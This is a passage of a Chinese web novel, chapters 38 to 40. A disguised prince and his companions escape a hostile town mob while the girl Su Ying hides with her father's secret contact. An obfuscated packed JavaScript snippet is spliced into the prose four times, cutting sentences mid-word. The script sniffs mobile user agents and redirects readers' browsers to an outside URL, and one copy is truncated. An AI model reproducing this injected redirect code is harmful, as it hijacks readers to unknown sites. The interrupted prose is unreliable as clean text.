掌柜却只呆呆立在原地，目光久久望着门外那抹渐行渐远的红色背影，直至她彻底没入夜色，才缓缓挪过灯盏，伸手从钱匣里摸出那两块碎银。 “啊呀！”他低呼一声，竟踉跄着向后跌去。 “掌柜的，您怎么了？”正在外头上门板的伙计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819506|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻声急急跑回。 “不妨事…脚下滑了一下。”掌柜朝他摆摆手，声音有些发虚：“我自个儿缓缓便好，你忙你的去吧。” 他背在身后的那只手，正死死攥着方才随碎银一道落下的——一枚坚硬、冰冷、棱角刺手的精铁箭头。 还是躲不过。终究还是躲不过。 冷汗无声地浸透中衣，掌柜倚着柜台后的板壁，绝望地缓缓合上了眼睛。 苏萦出了芙蓉阁，又在街上漫无目的地游荡了好一会儿，目光在一个个摊贩行人之间略过，期盼着能再次看到那个熟悉的身影。她也知道，如今陛下令父亲在京驻守，上次能在京郊与她见面已是冒险，又怎会出现在这偏远的曹州小镇？可心底那点渺茫的希望，像风里的残烛，总不肯熄灭。 这盘根错节的锦糖镇，宋巡检和宋丘，还有明日就要面对的曹州县尊，保不齐都是一伙的。天高皇帝远，在外不识，皇帝老儿也杀得。萧征能有什么应对之策呢？要是爹在就好了，爹一定有办法。 她惶惑地在街上来来回回地兜圈子，不愿回到客店去。天全黑了，临街的门板一片片合上，小贩们也陆续挑起担子回家了。苏萦的心也一点点沉下去，父亲没有出现。 萧征他们一定已在打点行装，预备着在夜色掩盖下先一步出发了。她怕因为她误了行程，忙抱着那一包胭脂，快步往回走去。 她走着走着，忽然察觉镇上的气氛有些异样。虽是天色晚了，这条街道也未免静得不寻常。摊贩们匆匆把摊子胡乱收了，小跑着往这头来，行人快步走着，交头接耳，目光闪烁地瞥向客栈方向。隐约有喧哗声从那边传来，起初零散，很快便汇聚成一片嗡嗡的声浪，其间夹杂着清晰的怒骂和斥责： “外乡人冒充官差！” “搅乱祠堂，污蔑乡绅！” “定是歹人！不能放他们走了！” 苏萦心头猛地一跳，暗叫不好。她逆着零散的人流，快步朝客栈方向赶去。离得近了，只见客栈前已聚拢了数十镇民，手持棍棒、锄头、火把，群情激愤。人群前方，赫然是那本该被看管起来的宋丘，不知如何竟已被放出，正指着客栈大门，大声煽动镇民：“就是里面那两个小子，冒充朝廷命官，严刑逼供，构陷于我，还想夺我祖产！宋巡检，你可要为我们宋家，为镇上百姓做主啊！” 宋巡检与他站在一处，冷哼一声，一挥手：“里面的人听着！尔等冒充官差，扰乱地方，煽动民变，罪不容赦！若乖乖出来就缚，尚可从轻发落，否则——”他身后，跟着十来个如狼似虎的县衙差役，而更多的镇民还在被煽动着聚拢过来。 “宋大人，宋大人！使不得啊！”客栈掌柜连滚爬爬地从店里跑出来，挡在门前，对着宋昆连连作揖，“先前这几位官爷来住店，不也是您亲自吩咐要好生招待，不可怠慢的吗？这，这怎么又…” “滚开！识人不明，窝藏匪类，回头再跟你算账！”宋昆不耐，一脚将掌柜踹翻在地：“交出步星辉！” “交出——”宋昆一时语塞，才醒悟连那个户部的小个子叫什么都不知道，恼羞成怒道：“交出那个姓苏的！” 38.“抓住那个小红帽！” 就在这时，客栈大门“吱呀”一声从里面打开了。 萧征的身影出现在门口。他已换下官服，只着一身便于行动的深色劲装，身姿挺拔如松，面对汹汹人群与明晃晃的刀剑，脸上毫无惧色。袁鸣紧随其后，手握腰刀，目光锐利地扫视着可能率先发难的目标。郭娑，宝冉和蜜合站在门槛内，警惕地注意着面前这伙人的动向。 萧征的目光越过人群，落在宋昆脸上，声音不高，却清晰地压过了嘈杂：“宋巡检，你来得正好。本王，正愁人赃并获时，没个见证。” 他话音未落，身后的袁鸣已高举一枚金铜令牌，火光下，“永宁王”的篆字徽记灼然生辉。 人群霎时一静，许多人脸上露出惊疑不定的神色。永安王？比做官的还可怕，惹上皇亲贵胄了？ 宋丘眼中闪过一瞬极致的恐慌，随即被更深的狠厉取代。他猛地跳起来，嘶声喊道：“大家别信！他们的官凭都是假的！这令牌谁知是不是仿造的！若他真是王爷，咱们今日围堵逼迫，已是灭门死罪！横竖是死，不如拿下他们，扔到鬼荒地里埋了，死无对证，谁能知道！” “对！不能放他们走！” “灭口！” 被煽动起的凶性瞬间压过了对王权的恐惧，人群再次骚动起来，几个激进者已挥舞着棍棒向前逼近。宋丘那一声“假王爷”的嘶吼，像滚油里溅入了冷水，瞬间将人群最后一丝疑虑炸成了沸腾的恐慌与凶戾。活不成了——这句话刻进了每个参与围攻者的脑子，尤其宋昆带来的那几个心腹衙役，眼神立刻变得如同淬了毒的钩子。 “拿下！死活不论！”宋昆咬牙发令，自己却偷偷往后缩了半步。 萧征与袁鸣眼神一凛，不退反进，主动迎上，为身后的女眷撞开一条生路。 混乱瞬间爆发。棍棒、锄头与刀锋撞击，怒吼与惨呼交织。萧征夺过一根袭来的木棍，格开迎面劈来的柴刀，腕力一沉，反击的力道将一名壮汉直接掼倒在地。他眼角余光始终留意着后方，宝冉已护着郭娑和蜜合向后院跑去。 就在这时，萧征的目光倏地越过混乱的人群，捕捉到了远处街角那个惊恐地望向他们的熟悉身影，身上的大红斗篷格外醒目——是苏萦！她怎么偏赶上这时候回来了！ “快跑——！”萧征心神剧震，失声高喊，声音穿透嘈杂。 这一声，也引来了宋丘的注意。他顺着萧征目光望去，只隐约见一抹红色在街口一闪，虽看不清面容，但看他这副乱了方寸的样子，定是同伙无疑。 “抓住那个小红帽！”宋丘举起火把，嘶声指向苏萦方向，立刻有两名衙役转身扑去。 苏萦闻声，心脏几乎跳出胸腔，再不敢停留，转身撒腿就跑，红色斗篷在身后划出一道惊慌的轨迹。寒风灌进喉咙，带着铁锈般的味道。她不敢回头，可还不忘大声向后喊话，声音简直要被风扯碎：“你们保护好蜜合！” 跑向后院的女孩子们又叫几个衙役逼退回来。蜜合是一点功夫也没有的，郭娑受了伤，身手也大打折扣。宝冉拼命护主，但毕竟势单力薄，正被两个衙役缠住，一个镇民瞅准空子，一把抓住了郭娑受伤的手臂，郭娑痛呼一声，被拽得一个趔趄。萧征见状，想回身去救，肩头却结结实实挨了一记闷棍，剧痛让他动作一滞。 就是这片刻的延误，郭娑已被拖入人群，宝冉尖叫着要扑上去，被袁鸣一把扯了回来。袁鸣腿上已挨了一刀，血流如注，却怒吼着挥棍扫倒一片，又一把拉起吓呆在角落的蜜合，对萧征吼道：“殿下，先走！” “宝冉，蜜合，去后院！”萧征当机立断，知道硬拼只有死路一条。他们早在入住时便观察过地形，客栈后院有马厩，拴着他们和客栈的几匹马。 “袁鸣，护着她们俩！” “是！”袁鸣挥刀劈开冲上来的两条木棍，为众人争取转身的时间。 客栈内其他旅客早已吓得躲回房内紧闭门窗，大堂一片混乱。几人迅速穿过大堂，向后院冲去。宋昆气急败坏：“拦住他们！别让他们跑了！” 差役和部分镇民涌入客栈，紧追不舍。 后院马厩就在眼前。宝冉反应极快，身为北漠儿女，她对马匹的熟悉刻在骨子里。她不顾危险，第一个冲进马厩，目光一扫，迅速选中了两匹最为健壮、鞍辔相对齐全的驿马，又瞥见旁边一辆堆着草料的板车。 宝冉没有先去解那两匹好马的缰绳，而是猛地冲到板车旁，用尽力气将板车推向马厩入口，暂时阻挡追兵，同时迅速割断拴马的绳索。 袁鸣腿上有伤，行动略缓，但他悍勇异常，守在通往后院的门口，刀光闪烁，背上挨了一锄柄，将将把两名差役劈退。蜜合焦急地站在他身后不远处。 宝冉自己翻身跃上马，随后将蜜合拎小鸡一样拖到马鞍上，极快地说一声：“你抓紧了！”便一夹马腹，竟不是直接向外冲，而是操控着马匹猛地撞向旁边堆放的杂物，制造更大的混乱和障碍。 此时萧征已把郭娑从混乱的人群中抢出，护着她一径冲到马厩，将她往空下的那匹马的鞍前推：“抓紧上马！” 郭娑手腕剧痛，使不上力，试了两次才勉强被宝冉蜜合合力拉上马背，单手扯住缰绳，摇摇欲坠。 此时，追兵已绕过板车，涌了进来。袁鸣且战且退，臂上又添了一道伤口。 “袁鸣，上马！”萧征喝道，自己却转身，捡起地上一根掉落的木杠，横扫过去，暂时逼退了最前面的几人，为袁鸣争取了宝贵的喘息之机。 袁鸣咬牙，将刀交到左手，右手猛地一撑马鞍，翻身跃上了郭娑那匹马的鞍后，将郭娑护在身前，急呼：“殿下！” “走！”萧征见他们上马，将木杠全力掷向追兵，趁其躲闪之际，身形疾退，刚好退至宝冉马侧。 宝冉一直控马在原地焦急等待，见状立刻俯身，伸出右臂。萧征默契地抓住她的手臂，借力腾身，稳稳落在她身后的马背上。 “驾！”宝冉叱一声，猛抖缰绳。她骑术精湛，即便载着三人，操控马匹依然如臂使指。骏马嘶鸣，人立而起，踢翻两个试图靠近的镇民，然后如同离弦之箭，冲向客栈后院那扇不太结实的侧门。 “拦住他们！”宋昆气急败坏。 “砰！”侧门被马匹撞开，木屑纷飞。 几乎同时，袁鸣猛磕马腹，马匹紧随其后，冲了出去。 然而，就在两匹马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823465|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先后冲出侧门的刹那，混乱中，一个躲在暗处的镇民突然抛出绳套，目标正是速度稍缓的袁鸣那一骑。 绳套虽未套中人，却惊了马匹。马匹一声惊嘶，人立而起。本就因手腕无力而抓握不稳的郭娑，在这剧烈的颠簸中，惊呼一声，竟从马背上滑脱下来，重重摔在冰冷坚硬的石板上，滚了几滚才停下，一时痛得蜷缩起来，无法起身。 “郭姑娘！”袁鸣大骇，急欲勒马回身。 但此时，追兵已如潮水般从破开的侧门涌出，零星的箭矢和石块开始破空飞来，更有几个悍勇的镇民挥舞柴刀嚎叫着冲近。若是回马，不但救不了人，立刻就会被合围。 “走！”萧征在另一匹马上看得分明，心知此刻回头已不可能，对袁鸣厉声喝道。同时从宝冉手中接过缰绳：“宝冉，压制追兵！” 宝冉会意，在马背上转身，取下腰间一直挂着的，北漠常用的一把弹弓，搭上石子，连连发射，虽不致命，却精准地打在追得最近的几人面门，手腕上，引发一阵痛呼和混乱，稍稍阻滞了追兵的速度。 袁鸣痛苦地看了一眼在地上挣扎、正被镇民围上去的郭娑，狠狠一咬牙，猛夹马腹，趁着宝冉制造的短暂空隙，冲入了镇外黑暗的小路。 两匹马很快消失在了夜色之中。 那边厢，苏萦的独自奔逃也是惊心动魄。她拼命奔跑，绕过街角，前方是一捆堆得高高的柴火垛。她不及细想，奋力跃过，却听“刺啦”一声，斗篷后摆被柴垛支出的木杈死死勾住。她用力一扯，竟纹丝不动。 追兵脚步声和吆喝声越来越近： “就在前面！” “柴垛后面！” 两个衙役追到，只见一件红斗篷挂在柴垛上，小姑娘惊恐的哭腔自柴垛后响起：“我挂住了！救命！” 两人对视一眼，自觉胜券在握，放缓脚步，高声喊道：“小姑娘，老实自己走出来，爷们儿不伤你！” 柴垛后一片死寂。等了片刻，两人觉得不对，小心翼翼地攀过柴垛一看——那件华丽的红斗篷孤零零地挂在木杈上，随风微荡，底下空空如也，哪还有人影？ “妈的，金蝉脱壳！分头追！” 苏萦早已趁机沿着墙根阴影，朝记忆中镇子另一头狂奔而去。这镇子不大，阡陌相通，找到她容身之处的几率微乎其微。心脏在胸腔里撞得生疼，喉咙里火烧火燎。眼泪流了满脸，湿漉漉的面颊被凛冽的北风一吹，简直像尖刀子在划。但她知道不能停，必须靠自己找到生机。 她飞快地浏览两侧经过的店面招牌，父亲曾向她提过，在一些紧要地方，或有以“蘇”为记的联络点，但非万分紧急不可用。 苏？苏苏苏苏—— 总算，一家二层酒楼的匾额映入眼帘，匾额下面，毫不起眼地悬着一面“蘇”字小三角旗。她不及细想，用尽最后力气直冲进去，扑向柜台。 柜台后的掌柜是个五十岁上下的精干男子，正埋头拨弄算盘，被这突然闯入，鬓发散乱，衣衫不整还满脸泪痕的少女惊得一怔。 “掌柜的！”苏萦扒着柜台边缘，气喘吁吁，声音嘶哑得几乎不成调：“我要…我要六两连翘！” 39.“我是你们家小主人。” 掌柜拨算盘的手指猛地顿住，眼中精光一闪。他不动声色地飞快瞥了一眼门外——两个衙役模样的身影正东张西望地朝这边跑来。掌柜立刻有了决断，一把拉开柜台侧面的活板，低声道：“快进来！” 苏萦几乎是滚进柜台后的狭小空间。掌柜迅速合上活板，顺手将一件旧罩衫盖在上面，回去端坐在原处，继续若无其事地打着算盘，嘴里还哼起了小调。 “砰！”酒楼大门被粗暴地踢开，两名衙役闯了进来，领头的环视大堂，凶神恶煞地问：“掌柜的！可见到一个十三四岁、穿红斗篷的小姑娘跑过去？” 掌柜抬起头，一脸茫然和恰到好处的惶恐：“官爷，什么小姑娘？小的刚才一直在算账，没留意啊。穿红斗篷？那得多显眼，若是经过，小人断无不见的道理。” “哎呀！”那衙役一拍脑门，懊恼道：“斗篷在柴垛上挂着呢！有没有没穿红斗篷的小姑娘跑过去？” “就，就没有小姑娘啊！”掌柜简直被这人颠三倒四的话逗得忍俊不禁，忙赔着笑，起身从柜台下摸出一小锭银子，悄悄塞给领头衙役。 另一名衙役狐疑地盯着他，又看向通往内院和后厨的门帘。 “二位官爷辛苦，要不…小人让伙计帮着在附近找找？这天寒地冻的，二位歇歇脚，喝口热茶暖暖身子！”掌柜的说着，便作势要喊人。 衙役掂了掂银子，脸色稍霁，又草草看了看这整洁寻常的酒楼，确实没发现异常，便骂骂咧咧地回头：“算了！谅她也不敢藏在这儿。去别处看看！仔细搜，跑不远！”两人便匆匆离去。 听着脚步声远去，又等了片刻，掌柜才小心挪开罩衫，打开活板。苏萦脸色苍白，惊魂未定地抬起头。 “姑娘，他们走了。”掌柜将几乎虚脱的苏萦扶了出来，让她坐在柜台后的凳子上，又快速倒了杯温水递过去，一双眼把这姑娘细细打量一遍，谨慎而探究地开口问询：“您是何人？如何认得我们家主人？” “我？”苏萦靠在板壁上，缓缓平复着几乎要炸开的胸腔，深吸了几口气，努力让声音平稳下来，望着掌柜，一字一句地清晰说道： “我是你们家小主人。” “哦？”那人看清她眉眼轮廓，由衷叹道：“像。” “啧。”苏萦发出不爽的声音，无力地辩解道：“我不像他！我像我娘！” 一看掌柜笑眯眯地看着她，也没有要反驳的心思，苏萦自己也顿觉无趣，赶忙提起正事来。 “掌柜贵姓？” “免贵姓高。” “高掌柜，现在，立刻想法子，帮我联系上我爹，或者…联系上任何能帮我的人。”苏萦面色凝重，语调焦急：“我在锦糖镇遇上大事了！你，你认不认识比曹州县尊还大的官？” “少主，借一步说话。”掌柜听闻此话，面色一滞，向店外扫视一周，将苏萦引向后院隔间。 夜色如墨，四人两骑在远离锦糖镇的荒僻小路上疾驰。直到确认身后再无追兵的火光与喧嚣，才在一处背风的山坳乱石后勒马停下。此处杂草丛生，远离道路，勉强可作短暂喘息之地。 宝冉率先跃下马背，动作有些踉跄。她不顾自己身上也有些擦碰伤，立刻去搀扶袁鸣。蜜合壮着胆子自己跳下马背，赶忙上前帮忙，两人合力将几乎脱力的袁鸣扶下马，让他靠着一块大石坐下。月光下，袁鸣脸色苍白，腿上和臂上的伤口虽经粗略捆扎，仍在渗血，鲜血将布料浸透。 “蜜合，快！”宝冉急切地催促，自己则警惕地望向镇子方向，手指捏紧了腰间弹弓的皮鞘。 蜜合掀开袁鸣衣裳布料，见到血淋淋的伤口，不免有些头晕。危急关头，也没法顾及许多，她深吸一口气，强迫自己镇定下来，手脚麻利地解开水囊，冲洗袁鸣腿上最深的刀口，又撕下自己裙裾内衬相对洁净的布条，重新上药包扎。她的手法虽显生涩，却足够轻柔仔细。袁鸣咬着牙，额上冷汗涔涔，硬是没哼一声。 萧征拴好马匹，迅速巡视了周边环境，确认暂时安全。他眉头紧锁，目光沉沉地望向锦糖镇被夜色吞没的轮廓。火光早已不见，唯余一片凄冷的黑暗。苏萦那抹红色的身影，和郭娑坠马时的惊叫，在他脑中交替闪现。 “殿下！”宝冉猛地转身，眼神焦灼：“我得立刻回去！郡主落在他们手里，多一刻便多一分危险。我知道巡检司和镇衙大牢的方位，我现在就去探！” 萧征抬手，示意她稍安勿躁，声音因疲惫和压抑着情绪而有些沙哑：“现在若去硬闯，正中宋昆下怀。他必在巡检司和客栈周边布下埋伏，等着我们自投罗网。况且，”他顿了顿，语气更沉：“苏萦下落不明，她若逃脱，此刻也需接应；若真不慎落入他们手中，我们更需弄清情况，谋定后动。” 宝冉急道：“难道就眼睁睁看着郡主身陷囹圄？万一他们用刑…” “正因她是人质，暂时反而安全。”萧征截断她的话，冷静分析：“宋昆、宋丘如今最怕的是什么？是事情败露，是‘步星辉’和‘苏大人’背后的势力追究。抓住郭娑，是他们手里唯一的筹码，指望着用她来引我们现身，或将我们一网打尽，或将此事彻底掩盖。在达到目的前，他们不会轻易伤她性命。” “那咱们郡主呢？”蜜合为袁鸣包扎完毕，抬起头，话音染上哭腔，满脸担忧。 萧征闭了闭眼，深吸了一口气：“我们不能坐等，但也不能莽撞。我与宝冉先回镇上探明情况。” 一直沉默忍痛的袁鸣此刻挣扎着想要站起：“殿下，属下跟您去！他们人多势众，您和宝冉姑娘就两个人，太危险了！” 萧征快步上前，按住他的肩膀，力道温和却不容拒绝：“袁鸣，你此刻最重要的任务，就是好好将养。” 他难得地放软了语气，甚至带上了一丝极淡的调侃：“我可不想等回京之后，给你家娘子送回一个瘸腿的夫君。” 袁鸣一愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830596|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，随即扯出一个比哭还难看的笑，试图活跃气氛：“哈哈，唉，殿下，瘸了我娘子也不会嫌弃我的！” 笑着笑着，声音却低了下去。他仰头望着天际那轮清冷的残月，怔怔出神，半晌，才喃喃道：“唉，殿下，咱们出来…有半个多月了吧？那我娘子她…就是怀孕…” 他下意识地掰着手指计算，月光照在他沾着血污和灰尘的脸上，映出一种与平日憨直逗趣截然不同的柔软：“三个月零十天了。也不知道…她是不是还像前些日子那么恶心难受，还会不会影响她读书。这最难的时候，我都没在身边陪着她，我这做的什么夫君，将来能不能当个好爹啊。孩子这会儿…是不是该会动了——” “四个半月。”萧征突兀地开口。 袁鸣等三个人的脸刷地转过来向着萧征。 “我，我猜，”萧征目光闪躲地搓了下鼻子：“四个半月才能会动吧？” 他没能出世的女儿就是那时候会动的。他侧着头，小心翼翼地把耳朵贴在苏萦隆起的腹部，柔软的肚皮下像有一尾小鱼，顽皮地“咕噜”一声逃走了。 乖乖，爹真没用，保不住你，也没护住你娘。 他懊恼地站起身，心焦如焚地远眺眼前的小镇：苏萦啊，你此刻到底在哪里呢？ “袁鸣，真抱歉把你牵连进来。咱们一定能平安回去的。”无力感包裹着他，他却还强撑着安慰袁鸣。 “殿下你什么时候会说这么有良心——咳！这么贴心的话了！”袁鸣眼眶一热，慌忙低下头，用力眨掉眼中泛起的湿意，咧着嘴笑也不是哭也不是。 萧征拍了拍他的肩，转身面向已急不可待的宝冉：“宝冉，你与我一同潜回镇上。你目标小，身手灵便，设法靠近巡检司，观察动静，重点是探听郭娑和苏萦是否被关押在那里，以及守卫情况。切记，只观察，绝不可擅自行动，一有不对，立刻撤回，我会在外面接应你。” “是！”宝冉精神一振，立刻应道。 “那我呢，殿下？”蜜合急忙问。 “蜜合，你留在此地照看袁鸣，隐蔽好，等我们回来。一切以安全为要。”萧征看着她，扯出一个苦笑来：“你家主子在那样的危急关头，都还惦记着你的安危呢。” “郡主，郡主从未在外头独自过过夜…”蜜合低下头，懊恼地泫然欲泣：“我本该跟着她去的…” “她最机灵，人小鬼大，一定能顺利脱险的。”萧征心里比谁都乱都怕，还硬扯出一个宽慰的笑：“我一定把她全须全尾的带回来。” “若天亮后我们未归，你们可尝试向镇子方向移动，找个医馆给袁鸣治伤。” “殿下，别冒险了。”袁鸣摇摇头：“这镇上就那一家医馆，上次郭姑娘的手伤，就是我和宝冉陪着去看的，那郎中肯定能认出我来。” “奴婢见机行事。”蜜合不愿给萧征再增加压力，拭去脸上泪痕，坚强地抬起了头：“奴婢预祝殿下和宝冉姑娘行动顺利。” 40.“就这小叫花子？” 萧征与宝冉不敢再耽搁，将一匹马留给蜜合和袁鸣，两人同骑了另一匹，只携防身武器和绳索，借着残月的微光和地形的掩护，如同两道轻烟，再次没入锦糖镇的沉沉夜色之中。 到了镇口，两人下马牵着马走，夜深人静，怕马蹄声惊扰了百姓。 走着走着，萧征忽觉胃腹深处传来一阵熟悉的钝痛。胃是情绪最忠实的映照——苏萦下落不明，郭娑身陷敌手，一日奔波审案，入夜亡命奔逃，整整一天水米未进…… 啊，那苏萦也是一整天什么都没吃。 大家都是一整天什么都没吃。 他脚步微顿，额角瞬间沁出细密的冷汗。 “宝冉，”他试图用交谈分散注意，声音却已有些发紧：“你饿吗？” 话音未落，一阵尖锐的刺痛猛地窜上，让他不由自主地闷哼一声，抬手死死抵住胃部。伴随一生的痼疾在此刻发作，提醒着他这副新换的年轻身体也不是铁打的。前世最后几年病骨支离，胃痛如影随形，他倒也习以为常了；但此刻的痛楚，竟带着一种陌生的，更尖锐的侵袭感——年少时每一次发作，都因他仗着年轻，对身体毫不吝惜而来得格外凶猛。 他弯下腰，身躯难以自持地蜷缩，另一只手狠掐虎口，试图以痛制痛，却收效甚微，冷汗顷刻间湿透了里衣。 “殿下！”宝冉急忙扶住他摇晃的身形：“您怎么了？” “无妨…老毛病，缓缓就好。”萧征从牙缝里挤出断续的气息，脸色在惨淡的月光下苍白如纸。 “殿下，您先坐下歇歇。”她搀扶萧征到路边一块还算平整的石阶上坐下：“奴婢去讨碗热糖水来，暖暖胃兴许能好些。” 宝冉目光急扫，瞥见不远处一家已然打烊关门的小酒楼，房内影影绰绰还透出亮光。 萧征已无力反对，只艰难地点了点头，将身体重量靠在冰冷的石壁上，闭目忍耐着一波强过一波的绞痛。 宝冉整理了一下因奔波而略显凌乱的衣襟，深吸一口气，惴惴地朝那酒楼门前走去。 酒楼后院隔间里，苏萦如惊弓之鸟，脊背紧绷地端坐，耳朵警惕地捕捉着外间每一丝风吹草动。 掌柜的去后厨转了一圈，端着一篮烧饼进来：“少主，先用些干粮垫垫肚子，我把厨子喊起来给您做几个好菜。” 掌柜的退下去，苏萦才小心翼翼地把饼篮拖过来，拈起一张饼来。饼很厚，顶上密密麻麻地粘着芝麻。苏萦撕下一小块来，芝麻雨点似的噼里啪啦往下掉。 饼很香，她也很饿，拿近鼻尖嗅嗅，不大敢吃。 怕这掌柜也不可信，也是假的，再给她下毒。 一个曹州底下镇上的接头人，会真的见过她爹吗？还若有其事的说他们父女俩长得像…哪像啊？一点儿也不像… 厨子被叫起来，满身起床气。 “掌柜的！”一个膀大腰圆的黑壮汉子粗声粗气地嚷着走过来：“这么晚了还让厨房烧什么好菜啊？来什么贵客了？” 掌柜忙使眼色，指向屋内。 厨子眯着惺忪睡眼望过去，只见灯影下一个蓬头垢面的小姑娘正惊恐地瞪着眼睛看着他，受惊般往后缩了缩。 “就这小叫花子？”厨子脱口而出。 “哎！”掌柜的几乎是飞跳起来抬手给了厨子一下子：“这是咱们顶头东家的大小姐！正经的少主！” “啊？”厨子背上挨了一下，被打得懵头懵脑，瞪圆了一双牛眼仔细看看苏萦，急急忙忙地改口：“哎哟！这小可怜见的，大小姐稍待一会儿，小人这就去给大小姐做几道好吃的啊！吃点甜的！拔丝山药！好不好？” 苏萦看着这壮硕如大水牛的汉子，惊恐僵硬地点了点头。 掌柜抱过一件柜台前的男式披风：“少主，内人这就过来，伺候您梳洗，再给您拿两件厚衣裳，这会儿先委屈您穿这个将就一下。” 苏萦点点头，眼神示意他先放在一边。掌柜退出去，她才站起身把那件披风拎起来抖了抖。 就在这当儿，外面有人敲门。 掌柜一个箭步冲进来，低声对苏萦快速交代：“少主稍安，可能是夜归的散客，小人去应付。” 谁？是不是来抓我的人？ 苏萦一颗心又悬了起来，披风还没穿好，就呼地吹灭桌上灯烛，连滚带爬地钻进了桌子底下。她把自己蜷缩在桌下最深的阴影里，屏住呼吸，竖起耳朵。 掌柜开了门，见只是个外乡女子，路过来讨一碗热糖水。掌柜的心善，忙掩了门回来，从后厨端了一碗开水搅了糖端出去，过了不多一会儿，那女子就还了碗回来。掌柜的扒着门缝盯着瞧了半天，见那女子扶着路边的男子牵着马走远了，这才回到隔间里叫苏萦出来。 苏萦一直躲在桌下。黑暗中，听觉变得格外敏感。她听到掌柜端碗出去的脚步声，开门声，隐约的对话，关门声，掌柜回来的脚步声……然后，一切又重归寂静。 隔间门被轻轻推开，掌柜举着一盏小油灯，探头低唤：“少主？少主？人走了，是过路讨水喝的，已经走远了。您出来吧，没事了。” 苏萦这才手脚发软地从桌底爬出来，惊魂未定，脸上沾了灰，手里还紧紧攥着那件皱巴巴的披风。 “没事了，没事了。”掌柜看她这副噤若寒蝉的小模样，心下也不落忍，心说这金尊玉贵的大小姐，不是传说一直养在宫里，怎么沦落到这儿来了？ 掌柜的面对这小小的姑娘，也匮于言语，无措道：“少，少主会打算盘吗？要不小人把算盘拿进来给您玩玩儿…反正，闲着嘛…” “不用，不用，”苏萦忙摆摆手，朝掌柜的尴尬地笑笑。 “啊，那少主歇歇吧，小人在外头给您守着。多，多喝点儿热水！”掌柜胡乱指了下桌上的茶壶，慌忙出去帮她带上了房门。 房里又只剩下苏萦一个人。她惊魂稍定，摸了摸自己胸前鼓囊囊的衣袋。 她刚也不知道怎么想的，躲在巷口的时候就隐约猜到待会儿要逃跑，还在扔下包袱之前胡乱抓了一把胭脂瓶塞进胸口的衣袋里。 现在自己晾在这儿，反正百无聊赖，她从衣服里全掏出来，摆在桌上看看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836200|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正巧给郭娑宝冉的都还在，宝冉黑，她私以为这个红棕带点土色的宝冉用一定会好看，她自己用就很古怪，很脏很村气。郭娑是美人，给她拿的是店主说最“走俏”的，反正她用什么应该也都不会出错。给蜜合那个也在，苏萦特意给她挑的，这颜色叫‘迎春’，不知拿什么染料调的，还真有点迎春花瓣样的黄色。蜜合那个皮色不大好说，明明也不黑，杏黄色倒比粉红色更衬她。 这一把抓的好，全是给别人的。唉，就是可惜了我给自己买的那二十来个。试的时候还都怪喜欢的呢。苏萦仰头，略有点惋惜地轻叹一声。 胭脂都没丢，不知道他们是否平安呢？她现在也没法自己去找他们。她现在待的地方安不安全还不一定呢。 厨子在外头敲门，亲自送了牛肉糁汤和拔丝山药进来。一见苏萦小瓶小罐摆了一桌子，便嘻嘻笑着像逗孩子似的，声调夸张地抬得老高：“哟，大小姐摆摊做生意呢！玩儿吧，玩儿吧！” 苏萦有点不好意思，偷偷白了他一眼，但内心并不怎么讨厌他。 厨子的手艺很好，糖丝一拔能拔出很长很远。 她夹一筷子山药，蘸一下凉水，吃得虽说很小心，到底是饿了，没一会儿，一盘子就全在她肚子里。 高掌柜的夫人过来，把她领回家里去。高夫人是个很干练的本地妇人，个子比高掌柜还要高出一截。容长脸，鹰钩鼻，干活利落，说话脆快，苏萦在她手下像个布偶似的被嘁哩喀喳地摆弄一通，好像还没反应过来，已经洗好澡换好衣服，香喷喷地坐在被窝里。 “高夫人…”苏萦试探地开口。 “叫我银子！”高夫人头也没回，语速极快地答。 “银子姐。”苏萦利落地改口：“我是不是在哪儿…见过你？” 今早在宋家祠堂，她好像在人群中瞥见过这张脸。 “见过，‘小苏大人’！”银子转过身来，朝她磊落地笑：“你这小丫头，真有本事！演男人演的还挺像！” 苏萦勉强朝她笑笑，心中忐忑不安，不知她是敌是友。 “别怕我，我跟宋丘宋昆他们不是一伙儿的。”银子看穿了她的小心思，两手在腰上一叉：“镇上出什么大事啊，都是我装成看热闹的去打探，好传信给你爹。” 